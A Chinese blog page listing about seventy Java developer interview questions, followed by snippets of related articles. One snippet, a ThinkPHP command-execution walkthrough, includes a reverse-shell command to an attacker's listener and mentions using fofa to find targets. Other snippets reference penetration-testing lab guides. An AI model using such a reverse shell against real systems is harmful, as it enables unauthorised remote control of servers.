2023-2024年 Java开发岗面试题经验分享

在各行各业中,面试前我们总会思索一个问题:究竟什么样的求职者能获得面试官的青睐?作为求职者,我们又该如何准备,以应对各种面试官的挑战?在这激烈的竞争里,如何才能让自己从众多应聘者中脱颖而出?本文就自己的面试和大家一块交流分享。

##简单介绍下自己
##谈谈最熟悉的项目 (1-2个)
(重点说项目干啥用的,负责的业务模块?用到的技术栈?)
以下是总结的中高级面试题目:
========================================
1 谈谈你对微服务的理解,微服务有哪些优缺点?
2 springcloud核心组件及其作用?
3 spring Cloud 和 Dubbo的区别?
4 什么是服务雪崩?什么是服务限流?
5  spring中创建bean的原理?
6 java常用的设计模式?
7 用过的中间件有哪些,讲讲?
8 spring ioc和aop ?
9 springmvc流程 ?
10 springboot的常用注解 ?
11 消息组件的作用?项目中用过么?
12 Redis 缓存穿透,击穿,雪崩?
13 Redis的持久化 ?
15 redis主从, 哨兵模式? 用过哪个说说?
16 sql的优化
17 mysql索引的数据结构?
18 mysql索引类型有哪些?
19 索引失效情况?
20 线程和进程的区别?
21 linux 命令?
22 Dubbo Rpc远程调用超时或者失败 :重试产生的问题?
23 spring bean的生命周期?
24 过滤器和拦截器的区别?
25 对象浅拷贝和深拷贝?
26 git怎么解决冲突代码?
27 java8新特性
28 linux查看日志的命令?
29 lambda表达式格式,左边,右边?
30 泛型的好处?
31多线程用过没?
32 分布式锁
33 正则表达式
34 Java 实现多个子线程执行完毕后,再执行主线程
35 SpringBoot自动配置原理
36 redis的持久化是什么? 如果都开启使用那种?
37 联合索引是什么? 注意最左匹配原则
38 mysql慢查询?
39 Redis的数据类型和使用场景?
40 limit 10,20 讲下?
41 左连接和右连接区别?
42 左连接sql语句怎么写? A表100条数据,B表80条数据,左连接后产生几条数据?
43 Log日志级别?
44 post、get的区别?
45 cookie session 的区别?
46 Oracle存储过程?
47 Oracle的merge用法?
48 Oracle迁移到mysql 查询性能下降的原因?
49 mysql你都做过哪些操作?
50 Oracle和mysql的区别?
51 Oracle常用的函数?
52 用过的锁? lock/synchronized 底层?
53 hashset底层?  hashmap为什么要扩容?
54 hashmap线程安全吗?线程安全的用哪个?
55 currentHashMap 怎么实现线程安全? 底层?
56 finally 一定执行吗? try...catch...finally 中有return 的执行顺序?
57 finally语句什么时候不会执行?
58 oracle存储过程优点?
59 数据库事务的隔离级别? mysql默认的是?
60 stringbuffer与stringbuilder的区别?
61 讲下hashcode?
62 讲下GC(垃圾回收机制)
63 用过的数据持久框架?mybatis字段映射关系?
64 redis操作命令?
65 讲下Nacos?
66 Rpc框架用过哪些? dubbo怎么用,代码怎么写的? 
67 @FeignClient注解是在方法上?类上?接口上?
68 ArrayList和LinkedList的区别?

69 rabbitmq如何保证消息的幂等性?
70 讲一下webservice
71 后台程序传给前端不想暴露url地址,可以怎么办?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390206.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ai web 1.0靶机漏洞渗透详解

一、导入靶机 解压下载好的靶机,然后打开VMware,点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开 确认是靶机的网络连接模式是NAT模式 二、信息收集 1、主机发现 在本机的命令窗口输入ipconfig查看VMnet8这块网卡,这块网卡就是虚…

历届奥运会奖牌数据(1896年-2024年7月)

奥运会,全称奥林匹克运动会(Olympic Games),是国际奥林匹克委员会主办的世界规模最大的综合性体育赛事,每四年一届,会期不超过16天。这项历史悠久的赛事起源于古希腊,现代奥运会则始于1896年的希…

抖音豆包大模型AI写作教程

简数采集器支持调用字节跳动抖音的豆包AI大模型API接口,用于对采集的数据进行研究分析,内容写作等。 抖音豆包大模型AI写作使用教程: 目录 1.启用豆包AI大模型API功能 2.设置豆包API处理规则 3.应用API规则处理数据 4.获取AI处理结果 1…

ATTCK实战系列-红队评估 (一)Vulnstack三层网络域渗透

目录 一、搭建环境 1.靶场下载地址: 2、网络拓扑 3、环境配置 Win7(外网服务器 ) Win2008(域控) Win2003(域成员) 4、启动环境 二、信息收集 1、端口扫描 2、目录扫描 三、漏洞利用…

目标检测,目标跟踪,目标追踪

个人专做目标检测,目标跟踪,目标追踪,deepsort。YOLOv5 yolov8 yolov7 yolov3运行指导、环境配置、数据集配置等(也可解决代码bug),cpu,gpu,可直接运行,本地安装或者远程…

springboot基于微信老人健康与饮食管理系统-计算机毕业设计源码82939

基于微信老人健康与饮食管理系统的小程序 摘 要 基于Spring Boot的微信老人健康与饮食管理系统的小程序致力于为老年人提供便捷的健康管理和饮食指导服务。该小程序整合了健康资讯浏览、食谱推荐、健康评估等功能模块,通过系统的设计与实现,旨在帮助老年…

uniapp全局分享功能实现方法(依赖小程序右上角的分享按钮)

1、uniapp开发小程序时默认是关闭分享功能的。点击右上角三个点可查看,效果图如下: 2、在utils文件夹下新建share.js文件,名字任起。(使用的是全局分享,因为一个一个页面的去分享太麻烦且没必要。) export…

### 微软的传奇与未来:从车库到云端的飞跃

今天我要和大家聊聊科技界的超级明星——微软。这家公司几乎每个人都听过,从90年Windows全家桶,到现在的云端革命,微软的故事简直有点儿像科技界的“美国梦”。 #### **车库里的梦想** 一切都得从1975年说起。当时,比尔盖茨和保…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

AS400==tutorial for Beginners

系统AS400 语言RPGLE 参考视频: https://www.youtube.com/watch?vFqgwYsp7mjk&listPL3W4xRdnQJHVWWmYX1Klji7QUk_PQhq0t&index5 Lesson 1 | Introduction to As-400 and setting up As-400 Environment. 客户端软件TN5250 Terminal Emulation for Window…

Null Reference: 避免和解决空引用错误

Null Reference: 避免和解决空引用错误 🚫 **Null Reference: 避免和解决空引用错误 🚫**摘要引言正文内容1. 理解空引用错误1.1 什么是空引用1.2 空引用的影响 2. 空引用错误的常见原因2.1 未初始化的变量2.2 访问已被清空的对象2.3 方法返回空引用 3. …

U盘数据恢复不再难:2024年4款工具,找回你“躲藏”的记忆

现在市面上有一些非常棒的U盘数据恢复软件,它们特别好用,就算你对电脑不太懂也能轻松搞定。这些软件能在几分钟之内帮你检查U盘,找出那些被误删的照片、文件和视频,让你可以轻松把它们找回来。不管你是自己用还是工作需要&#xf…

深度学习入门——卷积神经网络

本章的主题是卷积神经网络(Convolutional Neural Network,CNN)。CNN被用于图像识别、语音识别等各种场合,在图像识别的比赛中,基于深度学习的方法几乎都以CNN为基础。本章将详细介绍CNN的结构,并用Python实…

java之异常

目录 一、简介 二、作用 三、JVM默认处理异常方式 四、捕获异常 1.格式 2.目的 3.示例 五、灵魂四问 1.如果try中没有遇到问题,怎么执行? 2.如果try中可能会遇到多个问题,怎么处理? 3.如果try中遇到的问题没有被捕获&am…

分布式日志分析系统--ELK

文章目录 ELK概述ELK主要特点ELK应用架构 Elasticsearch原理JSON格式倒排索引 ES与关系型数据库ES相关概念ES安装说明1.环境初始化2.优化系统资源限制配置3.编辑ES服务文件elasticsearch. yml 优化ELK集群安装脚本scp的使用集群安装成功 Shell命令API使用创建索引创建Type创建分…

《从零开始:使用Python构建简单Web爬虫》

前言 随着互联网信息的爆炸性增长,如何高效地获取和处理这些数据变得越来越重要。Web爬虫作为一种自动化工具,可以帮助我们快速抓取所需的网页内容。本文将介绍如何使用Python编写一个简单的Web爬虫,并通过实例演示其基本用法。 准备工作 …

VMware安装Centos虚拟机使用NAT模式无法上网问题处理

NAT模式无法上网问题处理 Centos7与Ubuntu使用同一个NAT网络,Ubuntu正常访问互联网,Centos无法正常访问。 处理方案: cd /etc/sysconfig/network-scripts vi ifcfg-ens33 修改配置项: 重启网络: service network resta…

【源码阅读】Redisson lock源码

目录 底层原理 加锁机制 锁互斥机制 可重入锁机制 总结 Redisson 加锁非常简单,还支持 redis 单实例、redis 哨兵、redis cluster、redis master-slave 等各种部署架构 RLock lock redisson.getLock("cyk-test"); lock.lock(); lock.unlock(); 底…

华为路由常见 LSA 类型的产生及作用域和字段详细解读

华为路由常见 LSA 类型的产生及作用域 类型名称描述1路由器 LSA(Router LSA)每个设备都会产生,描述了设备的链路状态和开销。该 LSA 只能在接口所属的区域内泛洪2网络 LSA(Network LSA)由 DR 产生,描述该 …

第23集《大佛顶首楞严经》

请大家打开讲义第五十二页,癸八,约外道世谛对简显见性非因缘自然。 本经的修学特色,简单地讲,它是在处理生命的根本问题。就是当我们在行菩萨道的时候,我们会去布施、持戒、忍辱或者是禅定,在整个修学当中…